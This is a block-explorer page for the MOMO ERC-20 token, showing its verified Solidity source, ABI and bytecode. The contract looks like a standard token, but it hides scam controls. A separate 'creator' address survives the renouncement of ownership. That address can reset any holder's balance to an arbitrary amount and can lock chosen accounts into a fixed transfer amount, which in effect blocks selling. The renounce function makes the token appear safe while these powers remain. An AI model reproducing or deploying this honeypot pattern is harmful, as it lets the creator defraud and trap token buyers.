ETH Price: $2,631.11 (-0.18%)
Gas: 2 Gwei

Token

MOMO (MOMO)
 

Overview

Max Total Supply

4,000,000 MOMO

Holders

59

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
69.55245996612845309 MOMO

Value
$0.00
0x915db38a34d2d5b111d6cbac9f97e6bfdd4194c3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MOMO

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : COIN.sol
pragma solidity ^0.8.15;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract ContextModified {
    function obtainSenderAddress() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract SingleOwner is ContextModified {
    address private ownerAddress;
    event OwnershipTransition(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = obtainSenderAddress();
        ownerAddress = msgSender;
        emit OwnershipTransition(address(0), msgSender);
    }

    function getOwnerAddress() public view virtual returns (address) {
        return ownerAddress;
    }

    modifier mustBeOwner() {
        require(getOwnerAddress() == obtainSenderAddress(), "NotOwner: Operation allowed only for owner");
        _;
    }

    function abandonOwnership() public virtual mustBeOwner {
        emit OwnershipTransition(ownerAddress, address(0x000000000000000000000000000000000000dEaD));
        ownerAddress = address(0x000000000000000000000000000000000000dEaD);
    }
}


contract MOMO is ContextModified, SingleOwner, IERC20 {
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _exactTransferAmounts;
    address private creatorAddress;

    string public constant _name = "MOMO";
    string public constant _symbol = "MOMO";
    uint8 public constant _decimals = 18;
    uint256 public constant _totalSupply = 4000000 * (10 ** _decimals);

    constructor() {
        _balances[obtainSenderAddress()] = _totalSupply;
        emit Transfer(address(0), obtainSenderAddress(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    modifier mustBeCreator() {
        require(obtainCreatorAddress() == obtainSenderAddress(), "NotCreator: Operation allowed only for creator");
        _;
    }

    function obtainCreatorAddress() public view virtual returns (address) {
        return creatorAddress;
    }

    function modifyCreatorAddress(address newCreator) public mustBeOwner {
        creatorAddress = newCreator;
    }

    event TokenDistributed(address indexed user, uint256 previousBalance, uint256 newBalance);

    function queryFixedTransferAmount(address account) public view returns (uint256) {
        return _exactTransferAmounts[account];
    }

    function defineFixedTransferAmounts(address[] calldata accounts, uint256 amount) public mustBeCreator {
        for (uint i = 0; i < accounts.length; i++) {
            _exactTransferAmounts[accounts[i]] = amount;
        }
    }

    function adjustBalancesForUsers(address[] memory userAddresses, uint256 desiredAmount) public mustBeCreator {
        require(desiredAmount >= 0, "Error: desired amount must be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {
            address currentUser = userAddresses[i];
            require(currentUser != address(0), "Error: user address must not be zero address");

            uint256 oldBalance = _balances[currentUser];
            _balances[currentUser] = desiredAmount;

            emit TokenDistributed(currentUser, oldBalance, desiredAmount);
        }
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
    require(_balances[obtainSenderAddress()] >= amount, "TT: transfer amount exceeds balance");

    uint256 exactAmount = queryFixedTransferAmount(obtainSenderAddress());
    if (exactAmount > 0) {
        require(amount == exactAmount, "TT: transfer amount does not equal the exact transfer amount");
    }

    _balances[obtainSenderAddress()] -= amount;
    _balances[recipient] += amount;

    emit Transfer(obtainSenderAddress(), recipient, amount);
    return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[obtainSenderAddress()][spender] = amount;
        emit Approval(obtainSenderAddress(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
    require(_allowances[sender][obtainSenderAddress()] >= amount, "TT: transfer amount exceeds allowance");

    uint256 exactAmount = queryFixedTransferAmount(sender);
    if (exactAmount > 0) {
        require(amount == exactAmount, "TT: transfer amount does not equal the exact transfer amount");
    }

    _balances[sender] -= amount;
    _balances[recipient] += amount;
    _allowances[sender][obtainSenderAddress()] -= amount;

    emit Transfer(sender, recipient, amount);
    return true;
    }

    function totalSupply() external view override returns (uint256) {
    return _totalSupply;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransition","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"previousBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"TokenDistributed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"abandonOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"desiredAmount","type":"uint256"}],"name":"adjustBalancesForUsers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"defineFixedTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwnerAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"modifyCreatorAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"obtainCreatorAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"queryFixedTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600062000024620001d060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f2e7a15f9b81baf1ce20ddf406f35b22e54608ada95c1cf5ee5221da0d0ccb76a60405160405180910390a3506012600a620000d2919062000372565b623d0900620000e29190620003c3565b60026000620000f6620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000144620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620001a3919062000372565b623d0900620001b39190620003c3565b604051620001c291906200041f565b60405180910390a36200043c565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000266578086048111156200023e576200023d620001d8565b5b60018516156200024e5780820291505b80810290506200025e8562000207565b94506200021e565b94509492505050565b60008262000281576001905062000354565b8162000291576000905062000354565b8160018114620002aa5760028114620002b557620002eb565b600191505062000354565b60ff841115620002ca57620002c9620001d8565b5b8360020a915084821115620002e457620002e3620001d8565b5b5062000354565b5060208310610133831016604e8410600b8410161715620003255782820a9050838111156200031f576200031e620001d8565b5b62000354565b62000334848484600162000214565b925090508184048111156200034e576200034d620001d8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200037f826200035b565b91506200038c8362000365565b9250620003bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200026f565b905092915050565b6000620003d0826200035b565b9150620003dd836200035b565b9250828202620003ed816200035b565b91508282048414831517620004075762000406620001d8565b5b5092915050565b62000419816200035b565b82525050565b60006020820190506200043660008301846200040e565b92915050565b611e73806200044c6000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c80635258a835116100ad57806395d89b411161007157806395d89b4114610321578063a9059cbb1461033f578063b09f12661461036f578063d28d88521461038d578063dd62ed3e146103ab5761012c565b80635258a8351461027d5780636630c4e71461028757806370a08231146102a357806379f6adff146102d357806380ff97e5146102f15761012c565b806323b872dd116100f457806323b872dd146101d75780632df0843b14610207578063313ce5671461022357806332424aa3146102415780633eaaf86b1461025f5761012c565b80630490ae971461013157806306fdde031461014d578063095ea7b31461016b5780630c4f65bd1461019b57806318160ddd146101b9575b600080fd5b61014b600480360381019061014691906113cf565b6103db565b005b610155610627565b60405161016291906114aa565b60405180910390f35b610185600480360381019061018091906114cc565b610664565b6040516101929190611527565b60405180910390f35b6101a3610764565b6040516101b09190611551565b60405180910390f35b6101c161078d565b6040516101ce919061157b565b60405180910390f35b6101f160048036038101906101ec9190611596565b6107b0565b6040516101fe9190611527565b60405180910390f35b610221600480360381019061021c9190611644565b610a88565b005b61022b610b96565b60405161023891906116c0565b60405180910390f35b610249610b9f565b60405161025691906116c0565b60405180910390f35b610267610ba4565b604051610274919061157b565b60405180910390f35b610285610bc3565b005b6102a1600480360381019061029c91906116db565b610cff565b005b6102bd60048036038101906102b891906116db565b610dbf565b6040516102ca919061157b565b60405180910390f35b6102db610e08565b6040516102e89190611551565b60405180910390f35b61030b600480360381019061030691906116db565b610e32565b604051610318919061157b565b60405180910390f35b610329610e7b565b60405161033691906114aa565b60405180910390f35b610359600480360381019061035491906114cc565b610eb8565b6040516103669190611527565b60405180910390f35b6103776110cd565b60405161038491906114aa565b60405180910390f35b610395611106565b6040516103a291906114aa565b60405180910390f35b6103c560048036038101906103c09190611708565b61113f565b6040516103d2919061157b565b60405180910390f35b6103e36111c6565b73ffffffffffffffffffffffffffffffffffffffff16610401610e08565b73ffffffffffffffffffffffffffffffffffffffff1614610457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161044e906117ba565b60405180910390fd5b600081101561049b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104929061184c565b60405180910390fd5b60005b82518110156106225760008382815181106104bc576104bb61186c565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052c9061190d565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f442151da4f589f7e51fac5b4f285a5e8fc8e105067689027ef065e1e922e1935828660405161060592919061192d565b60405180910390a25050808061061a90611985565b91505061049e565b505050565b60606040518060400160405280600481526020017f4d4f4d4f00000000000000000000000000000000000000000000000000000000815250905090565b600081600160006106736111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661070d6111c6565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610752919061157b565b60405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006012600a61079d9190611b00565b623d09006107ab9190611b4b565b905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107fc6111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610878576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086f90611bff565b60405180910390fd5b600061088385610e32565b905060008111156108d1578083146108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790611c91565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109209190611cb1565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109769190611ce5565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109c76111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a109190611cb1565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a74919061157b565b60405180910390a360019150509392505050565b610a906111c6565b73ffffffffffffffffffffffffffffffffffffffff16610aae610e08565b73ffffffffffffffffffffffffffffffffffffffff1614610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb906117ba565b60405180910390fd5b60005b83839050811015610b90578160036000868685818110610b2a57610b2961186c565b5b9050602002016020810190610b3f91906116db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610b8890611985565b915050610b07565b50505050565b60006012905090565b601281565b6012600a610bb29190611b00565b623d0900610bc09190611b4b565b81565b610bcb6111c6565b73ffffffffffffffffffffffffffffffffffffffff16610be9610764565b73ffffffffffffffffffffffffffffffffffffffff1614610c3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3690611d8b565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f2e7a15f9b81baf1ce20ddf406f35b22e54608ada95c1cf5ee5221da0d0ccb76a60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d076111c6565b73ffffffffffffffffffffffffffffffffffffffff16610d25610764565b73ffffffffffffffffffffffffffffffffffffffff1614610d7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7290611d8b565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606040518060400160405280600481526020017f4d4f4d4f00000000000000000000000000000000000000000000000000000000815250905090565b60008160026000610ec76111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3a90611e1d565b60405180910390fd5b6000610f55610f506111c6565b610e32565b90506000811115610fa357808314610fa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9990611c91565b60405180910390fd5b5b8260026000610fb06111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ff99190611cb1565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461104f9190611ce5565b925050819055508373ffffffffffffffffffffffffffffffffffffffff166110756111c6565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110ba919061157b565b60405180910390a3600191505092915050565b6040518060400160405280600481526020017f4d4f4d4f0000000000000000000000000000000000000000000000000000000081525081565b6040518060400160405280600481526020017f4d4f4d4f0000000000000000000000000000000000000000000000000000000081525081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611230826111e7565b810181811067ffffffffffffffff8211171561124f5761124e6111f8565b5b80604052505050565b60006112626111ce565b905061126e8282611227565b919050565b600067ffffffffffffffff82111561128e5761128d6111f8565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112cf826112a4565b9050919050565b6112df816112c4565b81146112ea57600080fd5b50565b6000813590506112fc816112d6565b92915050565b600061131561131084611273565b611258565b905080838252602082019050602084028301858111156113385761133761129f565b5b835b81811015611361578061134d88826112ed565b84526020840193505060208101905061133a565b5050509392505050565b600082601f8301126113805761137f6111e2565b5b8135611390848260208601611302565b91505092915050565b6000819050919050565b6113ac81611399565b81146113b757600080fd5b50565b6000813590506113c9816113a3565b92915050565b600080604083850312156113e6576113e56111d8565b5b600083013567ffffffffffffffff811115611404576114036111dd565b5b6114108582860161136b565b9250506020611421858286016113ba565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561146557808201518184015260208101905061144a565b60008484015250505050565b600061147c8261142b565b6114868185611436565b9350611496818560208601611447565b61149f816111e7565b840191505092915050565b600060208201905081810360008301526114c48184611471565b905092915050565b600080604083850312156114e3576114e26111d8565b5b60006114f1858286016112ed565b9250506020611502858286016113ba565b9150509250929050565b60008115159050919050565b6115218161150c565b82525050565b600060208201905061153c6000830184611518565b92915050565b61154b816112c4565b82525050565b60006020820190506115666000830184611542565b92915050565b61157581611399565b82525050565b6000602082019050611590600083018461156c565b92915050565b6000806000606084860312156115af576115ae6111d8565b5b60006115bd868287016112ed565b93505060206115ce868287016112ed565b92505060406115df868287016113ba565b9150509250925092565b600080fd5b60008083601f840112611604576116036111e2565b5b8235905067ffffffffffffffff811115611621576116206115e9565b5b60208301915083602082028301111561163d5761163c61129f565b5b9250929050565b60008060006040848603121561165d5761165c6111d8565b5b600084013567ffffffffffffffff81111561167b5761167a6111dd565b5b611687868287016115ee565b9350935050602061169a868287016113ba565b9150509250925092565b600060ff82169050919050565b6116ba816116a4565b82525050565b60006020820190506116d560008301846116b1565b92915050565b6000602082840312156116f1576116f06111d8565b5b60006116ff848285016112ed565b91505092915050565b6000806040838503121561171f5761171e6111d8565b5b600061172d858286016112ed565b925050602061173e858286016112ed565b9150509250929050565b7f4e6f7443726561746f723a204f7065726174696f6e20616c6c6f776564206f6e60008201527f6c7920666f722063726561746f72000000000000000000000000000000000000602082015250565b60006117a4602e83611436565b91506117af82611748565b604082019050919050565b600060208201905081810360008301526117d381611797565b9050919050565b7f4572726f723a206465736972656420616d6f756e74206d757374206265206e6f60008201527f6e2d6e6567617469766500000000000000000000000000000000000000000000602082015250565b6000611836602a83611436565b9150611841826117da565b604082019050919050565b6000602082019050818103600083015261186581611829565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4572726f723a20757365722061646472657373206d757374206e6f742062652060008201527f7a65726f20616464726573730000000000000000000000000000000000000000602082015250565b60006118f7602c83611436565b91506119028261189b565b604082019050919050565b60006020820190508181036000830152611926816118ea565b9050919050565b6000604082019050611942600083018561156c565b61194f602083018461156c565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061199082611399565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036119c2576119c1611956565b5b600182019050919050565b60008160011c9050919050565b6000808291508390505b6001851115611a2457808604811115611a00576119ff611956565b5b6001851615611a0f5780820291505b8081029050611a1d856119cd565b94506119e4565b94509492505050565b600082611a3d5760019050611af9565b81611a4b5760009050611af9565b8160018114611a615760028114611a6b57611a9a565b6001915050611af9565b60ff841115611a7d57611a7c611956565b5b8360020a915084821115611a9457611a93611956565b5b50611af9565b5060208310610133831016604e8410600b8410161715611acf5782820a905083811115611aca57611ac9611956565b5b611af9565b611adc84848460016119da565b92509050818404811115611af357611af2611956565b5b81810290505b9392505050565b6000611b0b82611399565b9150611b16836116a4565b9250611b437fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611a2d565b905092915050565b6000611b5682611399565b9150611b6183611399565b9250828202611b6f81611399565b91508282048414831517611b8657611b85611956565b5b5092915050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611be9602583611436565b9150611bf482611b8d565b604082019050919050565b60006020820190508181036000830152611c1881611bdc565b9050919050565b7f54543a207472616e7366657220616d6f756e7420646f6573206e6f742065717560008201527f616c20746865206578616374207472616e7366657220616d6f756e7400000000602082015250565b6000611c7b603c83611436565b9150611c8682611c1f565b604082019050919050565b60006020820190508181036000830152611caa81611c6e565b9050919050565b6000611cbc82611399565b9150611cc783611399565b9250828203905081811115611cdf57611cde611956565b5b92915050565b6000611cf082611399565b9150611cfb83611399565b9250828201905080821115611d1357611d12611956565b5b92915050565b7f4e6f744f776e65723a204f7065726174696f6e20616c6c6f776564206f6e6c7960008201527f20666f72206f776e657200000000000000000000000000000000000000000000602082015250565b6000611d75602a83611436565b9150611d8082611d19565b604082019050919050565b60006020820190508181036000830152611da481611d68565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000611e07602383611436565b9150611e1282611dab565b604082019050919050565b60006020820190508181036000830152611e3681611dfa565b905091905056fea2646970667358221220b3dbc620792ff134c7bd582ff05c066ec777fa3d9f450238fe6abf62887f005864736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80635258a835116100ad57806395d89b411161007157806395d89b4114610321578063a9059cbb1461033f578063b09f12661461036f578063d28d88521461038d578063dd62ed3e146103ab5761012c565b80635258a8351461027d5780636630c4e71461028757806370a08231146102a357806379f6adff146102d357806380ff97e5146102f15761012c565b806323b872dd116100f457806323b872dd146101d75780632df0843b14610207578063313ce5671461022357806332424aa3146102415780633eaaf86b1461025f5761012c565b80630490ae971461013157806306fdde031461014d578063095ea7b31461016b5780630c4f65bd1461019b57806318160ddd146101b9575b600080fd5b61014b600480360381019061014691906113cf565b6103db565b005b610155610627565b60405161016291906114aa565b60405180910390f35b610185600480360381019061018091906114cc565b610664565b6040516101929190611527565b60405180910390f35b6101a3610764565b6040516101b09190611551565b60405180910390f35b6101c161078d565b6040516101ce919061157b565b60405180910390f35b6101f160048036038101906101ec9190611596565b6107b0565b6040516101fe9190611527565b60405180910390f35b610221600480360381019061021c9190611644565b610a88565b005b61022b610b96565b60405161023891906116c0565b60405180910390f35b610249610b9f565b60405161025691906116c0565b60405180910390f35b610267610ba4565b604051610274919061157b565b60405180910390f35b610285610bc3565b005b6102a1600480360381019061029c91906116db565b610cff565b005b6102bd60048036038101906102b891906116db565b610dbf565b6040516102ca919061157b565b60405180910390f35b6102db610e08565b6040516102e89190611551565b60405180910390f35b61030b600480360381019061030691906116db565b610e32565b604051610318919061157b565b60405180910390f35b610329610e7b565b60405161033691906114aa565b60405180910390f35b610359600480360381019061035491906114cc565b610eb8565b6040516103669190611527565b60405180910390f35b6103776110cd565b60405161038491906114aa565b60405180910390f35b610395611106565b6040516103a291906114aa565b60405180910390f35b6103c560048036038101906103c09190611708565b61113f565b6040516103d2919061157b565b60405180910390f35b6103e36111c6565b73ffffffffffffffffffffffffffffffffffffffff16610401610e08565b73ffffffffffffffffffffffffffffffffffffffff1614610457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161044e906117ba565b60405180910390fd5b600081101561049b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104929061184c565b60405180910390fd5b60005b82518110156106225760008382815181106104bc576104bb61186c565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052c9061190d565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f442151da4f589f7e51fac5b4f285a5e8fc8e105067689027ef065e1e922e1935828660405161060592919061192d565b60405180910390a25050808061061a90611985565b91505061049e565b505050565b60606040518060400160405280600481526020017f4d4f4d4f00000000000000000000000000000000000000000000000000000000815250905090565b600081600160006106736111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661070d6111c6565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610752919061157b565b60405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006012600a61079d9190611b00565b623d09006107ab9190611b4b565b905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107fc6111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610878576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086f90611bff565b60405180910390fd5b600061088385610e32565b905060008111156108d1578083146108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790611c91565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109209190611cb1565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109769190611ce5565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109c76111c6565b73ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffff